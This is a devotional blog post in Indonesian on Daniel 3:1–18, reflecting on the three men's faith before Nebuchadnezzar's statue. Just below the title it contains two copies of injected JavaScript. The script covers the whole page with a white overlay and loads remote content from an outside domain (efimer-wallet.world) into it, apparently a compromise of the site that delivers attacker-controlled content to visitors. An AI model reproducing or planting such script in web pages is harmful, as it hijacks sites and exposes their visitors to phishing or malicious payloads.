BUKAN IMAN YANG TIMBAL BALIK

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Senin, 23 Oktober 2023

Daniel 3 : 1 – 18

Pengantar

Pernahkah Saudara mengalami, atau berjumpa dengan orang yang kecewa kepada Tuhan? Perasaan kecewa itu muncul ketika seseorang merasa apa yang diharapkan tidak dipenuhi oleh pihak yang dianggapnya mampu memenuhi harapan tersebut. Hari ini kita akan merenungkan tentang bagaimana tiga anak Tuhan menyatakan harapannya kepada Tuhan.

Pemahaman

ay. 1-7 : Seberapa besar patung yang didirikan raja Nebukadnezar itu? Dan mengapa Nebukadnezar mendirikan patung tersebut?

ay. 8-18 : Mengapa Sadrakh, Mesakh dan Abednego berani melawan Nebukadnezar?

Patung emas yang didirikan raja Nebukadnezar sangatlah besar. Ukurannya setinggi enam puluh hasta dan lebar enam hasta. Dengan asumsi 1 hasta 50cm (jarak normal dari ujung jari terpanjang ke siku), maka ukuran patung tersebut adalah 30 meter tingginya dan 3 meter lebarnya. Dengan ukuran sebesar itu, tentu patung tersebut tampak megah sekali. Kemegahan patung tersebut tentunya ingin menggambarkan kebesaran kekuasaan raja Nebukadnezar. Apalagi patung tersebut dilapisi dengan emas, yang akan membuatnya berkilauan pada waktu terkena cahaya matahari atau bulan, maupun lentera penerang di sekitarnya.

Tujuan dari pembuatan patung tersebut tentunya adalah menegakkan otoritas raja Nebukadnezar. Hal ini dapat dilihat dari ketundukan para pemimpin dalam ayat 3 terhadap kekuasaan Nebukadnezar. Ada wakil raja (TL: para pangeran), penguasa (Akkadia: bawahan langsung dari wakil raja; bnd. Dan 2:48), bupati

(gubernur; lih. 1Raj 10:15; 20:24; 2Raj 18:24; sering di Ezra, Nehemia, dan Esther; Yes 36:9; Yer 51:23,28,57), penasihat negara (yang merujuk pada bendahara; lih. Ezr 7:21) dan hakim (pejabat polisi), serta kepala daerah, yaitu pejabat pemerintah yang lebih rendah (lih. Dan 3:4,7).

Namun otoritas Nebukadnezar itu mendapatkan perlawanan dari Sadrakh, Mesakh dan Abednego, yang menyatakan bahwa Allah yang mereka sembah sanggup melepaskan mereka dari penghukuman Nebukadnezar. Mereka tetap percaya akan hal itu bahkan bila tidak mengalaminya. Sama seperti kita tetap percaya ada matahari meski sedang berada dalam gelapnya malam, di mana matahari itu tidak tampak.

Refleksi 

Bercermin pada kisah Sadrakh, Mesakh dan Abednego ini, mari kita bertanya pada diri kita sendiri, apakah kita masih tetap percaya kepada Allah meski kita tidak melihat pertolongan-Nya? Sama seperti apakah kita tetap percaya adanya matahari kala berada dalam kegelapan malam, di mana kita tidak mengalami hangatnya sinar sang surya itu?

Tekadku

Doa: Bapa surgawi, tolong saya untuk tetap percaya akan kuasa dan kebaikan-Mu sekalipun saya masih belum merasakan pertolongan-Mu, amin.

Tindakanku                                                            

Saya akan tetap percaya kepada Tuhan sekalipun sedang mengalami pergumulan.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *